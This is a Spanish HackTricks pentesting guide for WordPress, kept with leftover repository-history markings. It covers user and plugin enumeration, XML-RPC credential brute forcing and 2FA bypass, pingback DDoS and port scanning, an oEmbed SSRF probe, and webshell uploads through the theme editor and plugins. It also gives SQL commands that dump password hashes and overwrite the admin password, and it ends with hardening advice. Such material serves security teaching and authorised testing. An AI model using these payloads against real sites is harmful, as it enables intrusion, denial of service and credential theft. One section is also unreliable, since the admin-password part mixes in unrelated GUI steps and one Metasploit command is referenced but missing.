hacktricks/network-services-pentesting/pentesting-web/wordpress.md

435 lines
22 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# Wordpress
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-05 18:33:24 +00:00
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Información básica
Los archivos **subidos** se guardan en: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Los archivos de **temas se pueden encontrar en /wp-content/themes/**, por lo que si cambias algún archivo php del tema para obtener RCE, probablemente utilizarás esa ruta. Por ejemplo: Usando el **tema twentytwelve** puedes **acceder** al archivo **404.php** en: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
2023-06-05 18:33:24 +00:00
**Otra URL útil podría ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
En **wp-config.php** puedes encontrar la contraseña raíz de la base de datos.
Rutas de inicio de sesión predeterminadas para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
2023-06-05 18:33:24 +00:00
### **Archivos principales de WordPress**
* `index.php`
* `license.txt` contiene información útil como la versión de WordPress instalada.
* `wp-activate.php` se utiliza para el proceso de activación por correo electrónico al configurar un nuevo sitio de WordPress.
* Carpetas de inicio de sesión (pueden tener otro nombre para ocultarlas):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
2023-06-05 18:33:24 +00:00
* `xmlrpc.php` es un archivo que representa una característica de WordPress que permite transmitir datos con HTTP actuando como mecanismo de transporte y XML como mecanismo de codificación. Este tipo de comunicación ha sido reemplazado por la [API REST](https://developer.wordpress.org/rest-api/reference) de WordPress.
* La carpeta `wp-content` es el directorio principal donde se almacenan los complementos y temas.
2023-06-05 18:33:24 +00:00
* `wp-content/uploads/` es el directorio donde se almacenan los archivos cargados en la plataforma.
* `wp-includes/` es el directorio donde se almacenan los archivos principales, como certificados, fuentes, archivos JavaScript y widgets.
2023-06-05 18:33:24 +00:00
**Explotación posterior**
2023-06-05 18:33:24 +00:00
* El archivo `wp-config.php` contiene información requerida por WordPress para conectarse a la base de datos, como el nombre de la base de datos, el host de la base de datos, el nombre de usuario y la contraseña, las claves de autenticación y las sales, y el prefijo de la tabla de la base de datos. Este archivo de configuración también se puede utilizar para activar el modo DEBUG, que puede ser útil para solucionar problemas.
2023-06-05 18:33:24 +00:00
### Permisos de usuarios
* **Administrador**
* **Editor**: Publica y gestiona sus propias publicaciones y las de otros.
* **Autor**: Publica y gestiona sus propias publicaciones.
* **Colaborador**: Escribe y gestiona sus publicaciones, pero no puede publicarlas.
* **Suscriptor**: Navega por las publicaciones y edita su perfil.
## Enumeración pasiva
### Obtener la versión de WordPress
Comprueba si puedes encontrar los archivos `/license.txt` o `/readme.html`
Dentro del **código fuente** de la página (ejemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Archivos de enlace CSS
![](<../../.gitbook/assets/image (344).png>)
* Archivos de JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obtener Plugins
{% code overflow="wrap" %}
2023-06-05 18:33:24 +00:00
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2023-06-05 18:33:24 +00:00
```
### Obtener Temas
{% code overflow="wrap" %}
2023-06-05 18:33:24 +00:00
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Extraer versiones en general
{% code overflow="wrap" %}
2023-06-05 18:33:24 +00:00
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
2023-06-05 18:33:24 +00:00
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** utilizando las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeración activa
### Plugins y Temas
2023-06-05 18:33:24 +00:00
Probablemente no podrás encontrar todos los Plugins y Temas posibles. Para descubrir todos ellos, deberás **realizar un ataque de fuerza bruta activo a una lista de Plugins y Temas** (afortunadamente, existen herramientas automatizadas que contienen estas listas).
2023-06-05 18:33:24 +00:00
### Usuarios
**Fuerza bruta de ID**
2023-06-05 18:33:24 +00:00
Puedes obtener usuarios válidos de un sitio de WordPress mediante la fuerza bruta de los IDs de usuarios:
2023-06-05 18:33:24 +00:00
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Si las respuestas son **200** o **30X**, eso significa que el id es **válido**. Si la respuesta es **400**, entonces el id es **inválido**.
2023-06-05 18:33:24 +00:00
**wp-json**
También puedes intentar obtener información sobre los usuarios haciendo consultas:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
**Solo se proporcionará información sobre los usuarios que tengan esta función habilitada**.
También ten en cuenta que **/wp-json/wp/v2/pages** podría filtrar direcciones IP.
2023-06-05 18:33:24 +00:00
#### Enumeración de nombres de usuario de inicio de sesión
Cuando inicias sesión en **`/wp-login.php`**, el **mensaje** es **diferente** si el **nombre de usuario indicado existe o no**.
2023-06-05 18:33:24 +00:00
### XML-RPC
Si `xml-rpc.php` está activo, puedes realizar un ataque de fuerza bruta de credenciales o usarlo para lanzar ataques de denegación de servicio (puedes automatizar este proceso [usando esto](https://github.com/relarizky/wpxploit), por ejemplo).
2023-06-05 18:33:24 +00:00
Para ver si está activo, intenta acceder a _**/xmlrpc.php**_ y envía esta solicitud:
2023-06-05 18:33:24 +00:00
**Comprobar**
```markup
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Fuerza bruta de credenciales**
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** son algunos de los métodos que se pueden utilizar para realizar una fuerza bruta de credenciales. Si puedes encontrar alguno de ellos, puedes enviar algo como:
```markup
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
```
El mensaje _"Nombre de usuario o contraseña incorrectos"_ debe aparecer dentro de una respuesta de código 200 si las credenciales no son válidas.
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (4).png>)
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (102).png>)
Usando las credenciales correctas, puedes subir un archivo. En la respuesta, aparecerá la ruta ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
2023-06-05 18:33:24 +00:00
```markup
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
2023-06-05 18:33:24 +00:00
</methodCall>
```
También hay una forma **más rápida** de forzar credenciales utilizando **`system.multicall`** ya que puedes probar varias credenciales en la misma solicitud:
2023-06-05 18:33:24 +00:00
<figure><img src="../../.gitbook/assets/image (188).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
Este método está destinado a programas y no a humanos, y es antiguo, por lo tanto no admite 2FA. Entonces, si tienes credenciales válidas pero la entrada principal está protegida por 2FA, **es posible que puedas abusar de xmlrpc.php para iniciar sesión con esas credenciales evitando el 2FA**. Ten en cuenta que no podrás realizar todas las acciones que puedes hacer a través de la consola, pero aún podrías lograr RCE como lo explica Ippsec en [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
2023-06-05 18:33:24 +00:00
**DDoS o escaneo de puertos**
Si puedes encontrar el método _**pingback.ping**_ en la lista, puedes hacer que Wordpress envíe una solicitud arbitraria a cualquier host/puerto.\
Esto se puede utilizar para pedirle a **miles** de sitios de Wordpress que **accedan** a una **ubicación** (causando un **DDoS** en esa ubicación) o puedes usarlo para hacer que **Wordpress** **escanee** alguna **red** interna (puedes indicar cualquier puerto).
2023-06-05 18:33:24 +00:00
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
```
![](../../.gitbook/assets/1\_JaUYIZF8ZjDGGB7ocsZC-g.png)
Si obtienes **faultCode** con un valor **mayor** que **0** (17), significa que el puerto está abierto.
2023-06-05 18:33:24 +00:00
Echa un vistazo al uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar un DDoS.
**DDoS**
```markup
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
2023-06-05 18:33:24 +00:00
</methodCall>
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
2023-06-05 18:33:24 +00:00
Este archivo generalmente se encuentra en la raíz del sitio de Wordpress: **`/wp-cron.php`**\
Cuando se **accede** a este archivo, se realiza una consulta MySQL "**pesada**", por lo que podría ser utilizado por **atacantes** para **causar** un **DoS**.\
Además, de forma predeterminada, el `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo cual puede causar problemas en sitios con mucho tráfico (DoS).
2023-06-05 18:33:24 +00:00
Se recomienda desactivar Wp-Cron y crear una tarea cron real dentro del host que realice las acciones necesarias en un intervalo regular (sin causar problemas).
2023-06-05 18:33:24 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
Intenta acceder a _https://sitio-de-wordpress.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio de Wordpress puede hacer una solicitud hacia ti.
2023-06-05 18:33:24 +00:00
Esta es la respuesta cuando no funciona:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta herramienta verifica si el **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy** existen, y si es así, intenta explotarlos.
2023-06-05 18:33:24 +00:00
### Herramientas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Obtén acceso sobrescribiendo un bit
2023-06-05 18:33:24 +00:00
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) puedes cambiar 1 bit de cualquier archivo de WordPress. Por lo tanto, puedes cambiar la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para anular la operación NOT (`!`).
2023-06-05 18:33:24 +00:00
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2023-06-05 18:33:24 +00:00
```
## **Panel RCE**
**Modificando un archivo php del tema utilizado (se necesitan credenciales de administrador)**
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Cambie el contenido por una shell php:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Busque en internet cómo puede acceder a esa página actualizada. En este caso, debe acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
2023-06-05 18:33:24 +00:00
### MSF
Puede usar:
2023-06-05 18:33:24 +00:00
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Plugin RCE
### Plugin PHP
Es posible subir archivos .php como un plugin.\
Crea tu puerta trasera php usando, por ejemplo:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (407).png>)
Luego agrega un nuevo plugin:
![](<../../.gitbook/assets/image (409).png>)
Sube el plugin y presiona Instalar Ahora:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (411).png>)
Haz clic en Proceder:
![](<../../.gitbook/assets/image (412).png>)
Probablemente esto no haga nada aparentemente, pero si vas a Media, verás tu shell subida:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (413).png>)
Accede a ella y verás la URL para ejecutar el reverse shell:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (414).png>)
### Subir y activar un plugin malicioso
2023-06-05 18:33:24 +00:00
**(Esta parte está copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
A veces, los usuarios con sesión iniciada no tienen autorización de escritura para realizar modificaciones en el tema de WordPress, por lo que elegimos "Inyectar plugin malicioso de WP" como una estrategia alternativa para obtener una web shell.
2023-06-05 18:33:24 +00:00
Entonces, una vez que tienes acceso a un panel de WordPress, puedes intentar instalar un plugin malicioso. Aquí ya he descargado el plugin vulnerable de exploit db.
2023-06-05 18:33:24 +00:00
Haz clic [**aquí**](https://www.exploit-db.com/exploits/36374) para descargar el plugin para practicar.
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
Dado que tenemos el archivo zip del plugin, ahora es el momento de subir el plugin.
2023-06-05 18:33:24 +00:00
Panel > plugins > subir plugin
2023-06-05 18:33:24 +00:00
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
Busca el archivo zip descargado como se muestra.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
Una vez que el paquete se instale correctamente, necesitamos activar el plugin.
2023-06-05 18:33:24 +00:00
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Cuando todo esté bien configurado, procede a explotar. Dado que hemos instalado un plugin vulnerable llamado "reflex-gallery" y es fácilmente explotable.
2023-06-05 18:33:24 +00:00
Obtendrás el exploit para esta vulnerabilidad dentro del framework Metasploit y, por lo tanto, carga el siguiente módulo y ejecuta el siguiente comando:
Una vez que se ejecuten los comandos anteriores, tendrás tu sesión de meterpreter. Tal como se muestra en este artículo, hay múltiples métodos para explotar un sitio web basado en WordPress.
2023-06-05 18:33:24 +00:00
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
## Post Explotación
Extraer nombres de usuario y contraseñas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar contraseña de administrador:
2023-06-05 18:33:24 +00:00
Para cambiar la contraseña de administrador en WordPress, sigue estos pasos:
2023-06-05 18:33:24 +00:00
1. Inicia sesión en el panel de administración de WordPress con tus credenciales de administrador.
2. En el menú lateral, selecciona "Usuarios" y luego "Todos los usuarios".
3. Haz clic en el usuario "admin" para editar su perfil.
4. Desplázate hacia abajo hasta la sección "Cambiar contraseña".
5. Haz clic en el enlace "Generar contraseña" para que WordPress genere una contraseña segura automáticamente. Si prefieres establecer tu propia contraseña, puedes hacerlo marcando la casilla "Ocultar" y escribiendo la contraseña deseada.
6. Haz clic en el botón "Actualizar perfil" para guardar los cambios.
2023-06-05 18:33:24 +00:00
¡Listo! Ahora has cambiado la contraseña de administrador en WordPress. Asegúrate de recordar la nueva contraseña y mantenerla segura.
2023-06-05 18:33:24 +00:00
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Protección de WordPress
### Actualizaciones regulares
Asegúrese de que WordPress, los plugins y los temas estén actualizados. También confirme que la actualización automática está habilitada en wp-config.php:
2023-06-05 18:33:24 +00:00
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
También, **solo instala plugins y temas de WordPress confiables**.
### Plugins de seguridad
2023-06-05 18:33:24 +00:00
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Otras recomendaciones**
2023-06-05 18:33:24 +00:00
* Elimina el usuario **admin** predeterminado
* Utiliza contraseñas **fuertes** y **2FA**
* Revisa periódicamente los **permisos** de los usuarios
* **Limita los intentos de inicio de sesión** para prevenir ataques de fuerza bruta
* Renombra el archivo **`wp-admin.php`** y solo permite el acceso interno o desde ciertas direcciones IP.
2023-06-05 18:33:24 +00:00
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
Obtén acceso hoy mismo:
2023-06-05 18:33:24 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>